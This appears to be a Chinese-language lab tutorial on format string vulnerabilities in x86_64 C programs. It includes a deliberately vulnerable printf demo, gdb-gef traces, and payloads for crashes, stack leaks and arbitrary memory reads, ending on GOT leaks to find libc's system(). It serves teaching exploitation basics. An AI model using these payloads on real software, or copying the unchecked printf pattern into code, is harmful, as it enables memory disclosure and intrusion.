格式化字符串x86_64

[TOC]

1 格式化输出函数

1.1 变参函数

C 语言中定义的变参函数,即参数数量可变的函数。它**由一定数量(至少一个)的强制参数和数量可变的可选参数组成,强制参数在前,可选参数在后。**可选参数的类型可以变化,而数量由强制参数的值或者用来定义可选参数列表的特殊值决定。

printf()就是一个变参函数,它有一个强制参数,即格式化字符串。格式化字符串中的转换指示符决定了可选参数的数量和类型。变参函数要获取可选参数时,必须通过一个类型为 va list 的对象,也称为参数指针,它包含了栈中至少一个参数的位置。使用这个参数指针可以从一个可选参数移动到下一个可选参数,从而获取所有的可选参数。va_list 类型被定义在头文件 stdarg.h 中。

1.2 格式转换

格式字符串是**由普通字符(包括 “%”)和转换规则构成的字符序列。**普通字符被原封不动地复制到输出流中。转换规则根据与实参对应地转换指示符对其进行转换,然后将结果写入输出流中。

一个转换规则由必选部分和可选部分组成。其中,只有转换指示符(type)是必选部分,用来表示转换类型。

%[parameter][flags][width][.precision][length]type
  • parameter,它是一个 POSIX 扩展,不属于 C99,用于指定某个参数,例如%2$d,表示输出后面地第2个参数
  • flags,用来调整输出和打印的符号、空白、小数点等。
  • width,用来指定输出字符的最小个数。
  • 精度,用来指示打印符号个数、小数位数或者有效数字个数。
  • length,用来指定参数的大小。

一些常见的转换指示符和长度。

指示符		类型			输出
%d		  4-byte		Integer
%u		  4-byte		Unsigned Integer
%x		  4-byte		Hex
%s		  4-byte ptr	String
%c		  1-byte		Character
    
长度		 类型			 输出
hh		  1-byte		char
h		  2-byte		short int
l		  4-byte		long int
ll		  8-byte		long long int

2 格式化字符串漏洞

2.1 基本原理

函数传参存在两种方式,一种是通过栈,一种是通过寄存器。对于x64体系结构,如果函数参数不大于6个时,使用寄存器传参,对于函数参数大于6个的函数,前六个参数使用寄存器传递,后面的使用栈传递。参数传递的规律是固定的,即前6个参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9,后面的依次从 “右向左” 放入栈中。

不过有些时候,局部数据必须存入内存

\1. 寄存器不够放 \2. 对一个局部变量使用地址引用符 & ,因为无法对寄存器取地址,因此必须产生一个内存地址,使用到内存 \3. 某些局部变量是数组或者结构,必须数组或者结构引用被访问到

如想了解更多: x86_64架构下的函数调用及栈帧原理

我们来看一个能产生格式化字符串漏洞的程序:

#include<stdio.h>
void main(){
    printf("%s %d %s %p %p %p %p %p %p %p %p %p %p %3$s", "Hello world!", 233, "\n");
}
$ gcc -fno-stack-protector -no-pie fmtdemo.c -o fmtdemo -g
$ ./fmtdemo
Hello world! 233 
 (nil) 0x7ffff7fe0d60 (nil) 0x7ffff7dda083 0x7ffff7ffc620 0x7fffffffe0d8 0x100000000 0x401136 0x401170 0x3543f5d3292dd502 

先编译运行一下,我们发现程序输出了 3个异样的数字,接下来我们调试一下程序。

$ gdb-gef fmtdemo
gefb printf
Breakpoint 1 at 0x401040
gefr
Starting program: /home/sakura/文档/print/fmtdemo 

Breakpoint 1, 0x00007ffff7e17c90 in printf () from /lib/x86_64-linux-gnu/libc.so.6

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401170    <__libc_csu_init+0> endbr64 
$rcx   : 0x0000000000402008    0x206f6c6c6548000a ("\n"?)
$rdx   : 0xe9              
$rsp   : 0x00007fffffffdf78    0x0000000000401162    <main+44> nop 
$rbp   : 0x00007fffffffdf80    0x0000000000000000
$rsi   : 0x000000000040200a    "Hello world!"
$rdi   : 0x0000000000402018    "%s %d %s %p %p %p %p %p %p %p %p %p %p %3$s"
$rip   : 0x00007ffff7e17c90    <printf+0> endbr64 
$r8    : 0x0               
$r9    : 0x00007ffff7fe0d60     endbr64 
$r10   : 0x000000000040042b    0x5f0066746e697270 ("printf"?)
$r11   : 0x00007ffff7e17c90    <printf+0> endbr64 
$r12   : 0x0000000000401050    <_start+0> endbr64 
$r13   : 0x00007fffffffe070    0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78+0x0000: 0x0000000000401162    <main+44> nop 	  $rsp
0x00007fffffffdf80+0x0008: 0x0000000000000000	  $rbp
0x00007fffffffdf88+0x0010: 0x00007ffff7dda083    <__libc_start_main+243> mov edi, eax
0x00007fffffffdf90+0x0018: 0x00007ffff7ffc620    0x00050a3600000000
0x00007fffffffdf98+0x0020: 0x00007fffffffe078    0x00007fffffffe3b4    0x61732f656d6f682f
0x00007fffffffdfa0+0x0028: 0x0000000100000000
0x00007fffffffdfa8+0x0030: 0x0000000000401136    <main+0> endbr64 
0x00007fffffffdfb0+0x0038: 0x0000000000401170    <__libc_csu_init+0> endbr64 
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
  0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x401162 → main()
────────────────────────────────────────────────────────────────────────────────
gef

可以看到,r9=0x00007ffff7fe0d60,(nil) 0x7ffff7ffc620 0x7fffffffe0d8 0x100000000 0x401136 0x401170都是栈中 0x00007fffffffdf80~0x00007fffffffdfb0 的数据。其中 rbp =(nil),如果我们能通过某种方法找到 rbp 的位置并将 shellcode 的入口地址覆盖到这个位置,那么当函数返回时,就会跳转到去运行我们的shellcode了。

我们可以总结出,其实**格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。**下面我们讨论两个问题:

  • 为什么可以通过编译?

    • 因为 printf() 函数的参数被定义为可变的。
    • 为了发现不匹配的情况,编译器需要理解 printf() 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
    • 有时格式字符串并不是固定的,它可能在程序执行中动态生成。
  • printf() 函数自己可以发现不匹配吗?

    • printf() 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 printf() 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。

2.2 漏洞利用

通过提供格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。

2.2.1 使程序崩溃

格式化字符串漏洞通常要在程序崩溃时才会被发现, 这也是最简单的利用方式。 在 Linux 中,存取无效的指针会使进程收到 SIGSEGV 信号, 从而使程序非正常终止并产生核心转储, 其中存储了程序崩溃时的许多重要信息, 而这些信息正是攻击者所需要的。

通常, 使用类似下面的格式字符串即可触发崩溃。

printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") 

原因有 3 点: (1) 对于每一个“%s”,printf() 都要从栈中获取一个数字, 将其视为一个地址, 然后打印出地址指向的内存, 直到出现一个 NULL 字符; (2) 不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在 (3) 还有可能获得的数字确实是一个地址,但是该地址是被保护的。

2.2.2 栈数据泄露

虽然在 x86_64 位操作系统下,函数通过寄存器传参,很难得到有效栈信息。不过,如果有办法,找到超过六个参数以上的函数,超出的部分参数就会逆序压入栈中,还有有机会获得栈内存数据的。

//fmtdemo.c
#include<stdio.h>
void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCDEFGH";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

做实验首先要注意 1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)

# echo 0 > /proc/sys/kernel/randomize_va_space

2.编译时关闭CANARY,PIE。

$ gcc -fno-stack-protector -no-pie fmtdemo.c -o fmtdemo -g

3.进行调试(下面的调用可能在您的电脑上不一样)

$ gdb-gef fmtdemo
gef➤  b printf
gef➤  r
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"$rdi
0x00007fffffffdee8│+0x0020: ".%p.%p.%p.%p.%p.%p.%p"
0x00007fffffffdef0│+0x0028: "p.%p.%p.%p.%p"
0x00007fffffffdef8│+0x0030: 0x00000070252e7025 ("%p.%p"?)
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/32x $rsp
0x7fffffffdec8:	0x004011f6	0x00000000	0x00000000	0x42410000
0x7fffffffded8:	0x46454443	0x00004847	0x252e7025	0x70252e70
0x7fffffffdee8:	0x2e70252e	0x252e7025	0x70252e70	0x2e70252e
0x7fffffffdef8:	0x252e7025	0x00000070	0x00000000	0x00000000
0x7fffffffdf08:	0x00000000	0x00000000	0x00400040	0x00000000
0x7fffffffdf18:	0x00f0b5ff	0x00000000	0x000000c2	0x00000000
0x7fffffffdf28:	0xffffdf57	0x00007fff	0xffffdf56	0x00007fff
0x7fffffffdf38:	0x0040125d	0x00000000	0xf7fa72e8	0x00007fff
gef➤  c
Continuing.
0x1.0x88888888.0xffffffff.0x7fffffffded6.0x7c.0x4241000000000000.0x484746454443.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70
[Inferior 1 (process 19160) exited with code 012]
gef➤  

传入参数后,相当于执行:

printf(%p.%p.%p.%p.%p.%p.%p.%p.%p.%p, 1, 88888888,-1, ABCDEFGH);

格式字符串 %p 表示函数 printf() 从参数调用流中取出参数并将它们指针的形式显示出来。它将首先输出除 rdi 外的 5 个寄存器中的内容(因为 rdi 负责传递字符串),然后继续输出栈的内容。

格式化输出函数使用一个内部变量来标志下一个参数的位置。 开始时,参数指针指向第一个参数 arg1 随着每一个参数被相应的格式规范使用, 参数指针也根据参数的长度不断递增。在打印完当前函数的剩余参数之后,printf() 就会打印当前函数的栈帧( 包括返回地址和参数等 )。


上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:

%<arg#>$<format>

%n$p

这里的 n 表示栈中格式字符串后面的第 n 个值。

$ ./fmtdemo 
%7$p.%8$p.%9$p
0x484746454443.0x2438252e70243725.0x702439252e70
$ 

我们通过 %7$p 获取了 arg4 在栈上的内容。可以看到这种方法非常强大,可以获得栈中任意的值。

2.2.3 任意地址内存泄漏

攻击者使用类似**“%S”的格式规范就可以泄露出参数( 指针) 所指向内存的数据**, 程序会将它作为一个 ASCII 字符串处理, 直到遇到一个空字符。所以, 如果攻击者能够操纵这个参数的值, 那么就可以泄露任意地址的内容。

还是上面的程序,我们输入 %4$s,输出的 arg4 就变成了 ABCD 而不是地址 0x7fffffffded6

$ ./fmtdemo
%4$s
ABCDEFGH
$ 

上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 AAAA.%p 这样的格式的字符串,观察一下栈有什么变化。

$ python -c 'print("AAAAAAAA"+".%p"*20)'
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

gef➤  b printf
Breakpoint 1 at 0x401070
gef➤  r
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p[...]"
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p[...]"$rdi
0x00007fffffffdee8│+0x0020: ".%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%[...]"
0x00007fffffffdef0│+0x0028: "p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.[...]"
0x00007fffffffdef8│+0x0030: "%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
0x00007fffffffdf00│+0x0038: ".%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────

格式字符串的地址在 0x00007fffffffdee0,从下面的输出中可以看到它们在栈中是怎样排布的:

gef➤  x/20w $rsp
0x7fffffffdec8:	0x4011f6	0x0	0x0	0x42410000
0x7fffffffded8:	0x46454443	0x4847	0x41414141	0x41414141
0x7fffffffdee8:	0x2e70252e	0x252e7025	0x70252e70	0x2e70252e
0x7fffffffdef8:	0x252e7025	0x70252e70	0x2e70252e	0x252e7025
0x7fffffffdf08:	0x70252e70	0x2e70252e	0x252e7025	0x70252e70
gef➤  c
Continuing.
AAAAAAAA.0x1.0x88888888.0xffffffff.0x7fffffffded6.0x7c.0x4241000000000000.0x484746454443.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70.0x7fffffffdf57.0x7fffffffdf56.0x40125d.0x7ffff7fa72e8
[Inferior 1 (process 19619) exited with code 012]
gef➤  

0x4141414141414141 是输出的第 9 个字符,所以我们使用 %9$s 即可读出 0x4141414141414141 处的内容,当然,这里可能是一个不合法的地址。下面我们把 0x4141414141414141 换成我们需要的合法的地址,比如字符串 ABCDEFGH 的地址 0x7fffffffded6:

$ python2 -c 'print("\xd6\xde\xff\xff\xff\x7f\x00\x00"+".%9$s")' > text
$ gdb-gef fmtdemo

gef➤  b printf
Breakpoint 1 at 0x401070
gef➤  r < text
Starting program: /home/sakura/文档/print/fmtdemo < text

Breakpoint 1, 0x00007ffff7e17c90 in printf () from /lib/x86_64-linux-gnu/libc.so.6

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  0x00007fffffffded6  →  "ABCDEFGH"
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: 0x00007fffffffded6  →  "ABCDEFGH"$rdi
0x00007fffffffdee8│+0x0020: 0x000000732439252e (".%9$s"?)
0x00007fffffffdef0│+0x0028: 0x0000000000000000
0x00007fffffffdef8│+0x0030: 0x0000000000000000
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/20g $rsp
0x7fffffffdec8:	0x4011f6	0x4241000000000000
0x7fffffffded8:	0x484746454443	0x7fffffffded6
0x7fffffffdee8:	0x732439252e	0x0
0x7fffffffdef8:	0x0	0x0
0x7fffffffdf08:	0x0	0x400040
0x7fffffffdf18:	0xf0b5ff	0xc2
0x7fffffffdf28:	0x7fffffffdf57	0x7fffffffdf56
0x7fffffffdf38:	0x40125d	0x7ffff7fa72e8
0x7fffffffdf48:	0x401210	0x0
0x7fffffffdf58:	0x401090	0xffffffffffffe060
gef➤  x/s 0x00007fffffffded6
0x7fffffffded6:	"ABCDEFGH"
gef➤  c
Continuing.
�����
[Inferior 1 (process 21612) exited with code 012]
gef➤  

我们看到这里有点问题,本来应该在最后输出.ABCDEFGH字符串的,但是并没有输出。推测是由于最前面的00导致了字符串截断(实验结果说明如下)

sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f\x00\x00"+".%9$p")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
�����
sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f\x00\x00"+".%9$x")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
�����
sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f"+".%9$x")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
�����.782439
sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f"+".%9$p")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
�����.0x702439
sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f"+".%9$s")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
段错误 (核心已转储)
sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f"+".%p"*20)' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
�����.0x1.0x88888888.0xffffffff.0x7fffffffdf36.0x7c.0x4241000000000000.0x484746454443.0x252e7fffffffded8.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x7025.0x7fffffffdfb7.0x7fffffffdfb6.0x40125d.0x7ffff7fa72e8
sakura@Kylin:~/文档/print$ python2 -c 'print("\xd8\xde\xff\xff\xff\x7f\x00\x00"+".%p"*20)' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
�����

通过前几次测试,我们发现当地址有\x00时,无论如何变化格式符,结果都一样,这时我就有点怀疑是发生了截断。去掉\x00后再测试,这时就输出了结果,果然是发生了截断。但是这个地址必须要有\x00,该怎么办呢?我看到了下面这篇文章,找到了解决办法 — 把地址放到最后,然后通过测试找出偏移。

参考资料: 64位格式化字符串漏洞修改got表利用详解

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*9+".%10$p."+"\xd6\xde\xff\xff\xff\x7f\x00\x00")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
AAAAAAAAA.0x7fffffffded6.�����
sakura@Kylin:~/文档/print$ python2 -c 'print("A"*9+".%10$s."+"\xd6\xde\xff\xff\xff\x7f\x00\x00")' > text
sakura@Kylin:~/文档/print$ ./fmtdemo < text
AAAAAAAAA..�����

这时,我们找到了偏移地址为10,不过我们仍然无法输出字符串,这是怎么回事呢?gdb调试一下:

sakura@Kylin:~/文档/print$ gdb-gef fmtdemo
Reading symbols from fmtdemo...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 9.1 in 0.01ms using Python engine 3.8
gef➤  b printf
Breakpoint 1 at 0x401070
gef➤  r < text
Starting program: /home/sakura/文档/print/fmtdemo < text

Breakpoint 1, 0x00007ffff7e17c90 in printf () from /lib/x86_64-linux-gnu/libc.so.6

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  0x4141414141414141 ("AAAAAAAA"?)
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: 0x4141414141414141	 ← $rdi
0x00007fffffffdee8│+0x0020: 0x2e73243031252e41
0x00007fffffffdef0│+0x0028: 0x00007fffffffded6  →  "ABCDEFGH"
0x00007fffffffdef8│+0x0030: 0x0000000000000000
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  c
Continuing.
AAAAAAAAA.ABCDEFGH.�����
[Inferior 1 (process 22967) exited with code 012]
gef➤  

我们发现,调试出来的程序输出了字符串,我推测是关于调试态和运行态的区别吧,奈何我对于linux上的这一块不熟悉。如有大佬了解原因,恳请您答疑。


当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 system())。如下面展示的这样:

sakura@Kylin:~/文档/print$  readelf -r fmtdemo

重定位节 '.rela.dyn' at offset 0x4f0 contains 2 entries:
  偏移量          信息           类型           符号值        符号名称 + 加数
000000403ff0  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000403ff8  000400000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0

重定位节 '.rela.plt' at offset 0x520 contains 3 entries:
  偏移量          信息           类型           符号值        符号名称 + 加数
000000404018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 putchar@GLIBC_2.2.5 + 0
